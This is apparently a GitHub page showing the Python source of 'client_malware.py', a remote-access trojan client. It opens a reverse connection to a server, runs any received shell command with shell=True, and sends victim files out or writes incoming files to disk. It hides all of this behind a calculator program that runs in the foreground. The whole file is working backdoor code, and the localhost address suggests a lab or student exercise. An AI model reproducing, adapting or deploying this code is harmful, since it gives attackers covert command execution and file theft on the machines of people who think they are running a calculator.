-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathclient_malware.py
More file actions
219 lines (179 loc) · 5.59 KB
/
client_malware.py
File metadata and controls
219 lines (179 loc) · 5.59 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
# Refrence : https://realpython.com/python-sockets/
# echo-client.py
import socket
import threading
import subprocess
import os
from config import PORT
import cal
HOST = "127.0.1.1" # The server's hostname or IP address
PORT = PORT # The port used by the server
FORMAT = "UTF-8"
def decode_inp(str):
args = str.split()
command = args[0]
match command:
case "exit":
return (0, "")
case _:
space = str.find(" ")
text = str[space + 1 :]
return (1, text)
sock = None
def start():
global sock
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
i = 0
while True:
try:
sock.connect((HOST, PORT + i))
t2 = threading.Thread(target=listen)
t2.start()
break
except ConnectionRefusedError as err:
if err.errno == 111:
i += 1
else:
raise err
def run_command(command):
result = subprocess.run(
command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True, text=True
)
output = result.stdout + result.stderr
return output
def wrap_data(data: str):
size = len(data) + 3
new_data = "norm" + "<SEPARATOR>" + str(size) + "<SEPARATOR>" + data + "end"
return new_data
def check_not_data(data):
if not data:
exit()
def get_data():
whole_data = ""
data = sock.recv(1024)
check_not_data(data)
typ, size, rest = data.split("<SEPARATOR>".encode(FORMAT), 2)
typ, size = typ.decode(FORMAT), int(size.decode(FORMAT))
whole_data = rest.decode(FORMAT)
ret_size = len(data)
while size > ret_size:
data = sock.recv(1024).decode(FORMAT)
check_not_data(data)
ret_size += len(data)
whole_data += data
if typ == "norm":
return whole_data[:-3], None
elif typ == "dwnl":
return whole_data[:-3], typ
elif typ == "upld":
dest = whole_data[:-3]
data = sock.recv(1024)
check_not_data(data)
file_name, file_size, rest = data.split("<SEPARATOR>".encode(FORMAT), 2)
file_name, file_size = file_name.decode(FORMAT), int(file_size.decode(FORMAT))
path = make_path(file_name, dest)
ret_size = len(rest)
try:
with open(path, "wb") as f:
if rest:
f.write(rest)
while ret_size < file_size:
bytes_read = sock.recv(1024)
if not bytes_read:
return "file download failed", typ
ret_size += len(bytes_read)
f.write(bytes_read)
return "file upload was successful", typ
except FileNotFoundError:
while ret_size < file_size:
bytes_read = sock.recv(1024)
if not bytes_read:
return "file download failed", typ
ret_size += len(bytes_read)
return "file upload failed - No such file or directory", typ
def make_path(file_name, dest):
if os.path.exists(dest):
if os.path.isdir(dest):
if dest[:-1] == "/":
path = dest + file_name
else:
path = dest + "/" + file_name
else:
path = dest
else:
if not dest:
path = file_name
else:
path = dest
return path
def handle(command):
if not command:
send_data = wrap_data("")
sock.sendall(send_data.encode(FORMAT))
elif command[:2] == "cd":
try:
if command == "cd" or command == "cd ~":
result = subprocess.run(
"echo $HOME",
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
shell=True,
text=True,
)
print(result.stdout)
os.chdir(result.stdout[:-1])
else:
os.chdir(command[3:])
response = "pwd = " + os.getcwd() + "\n"
sock.sendall(wrap_data(response).encode(FORMAT))
except FileNotFoundError:
response = "The specified directory does not exist.\n"
sock.sendall(wrap_data(response).encode(FORMAT))
else:
output = run_command(command)
send_data = wrap_data(output)
sock.sendall(send_data.encode(FORMAT))
def upload_to_server(file_name):
response = ""
if file_name[-1] == "\n":
file_name = file_name[:-1]
try:
print(file_name)
file_size = os.path.getsize(file_name)
except FileNotFoundError:
response = "err"
send_data = (
"err" + "<SEPARATOR>" + str(50) + "<SEPARATOR>" + response + "<SEPARATOR>"
)
sock.sendall(send_data.encode(FORMAT))
return
send_data = (
file_name
+ "<SEPARATOR>"
+ str(file_size)
+ "<SEPARATOR>"
+ response
+ "<SEPARATOR>"
)
sock.sendall(send_data.encode(FORMAT))
with open(file_name, "rb") as f:
while True:
bytes_read = f.read(4096)
if not bytes_read:
break
sock.sendall(bytes_read)
def listen():
while True:
data, special = get_data()
data = data.strip()
if special == "dwnl":
upload_to_server(data + "\n")
elif special == "upld":
send_data = wrap_data(data)
sock.sendall(send_data.encode(FORMAT))
else:
handle(data)
th = threading.Thread(target=start)
th.start()
calculator = cal.FancyCalculator()
calculator.run()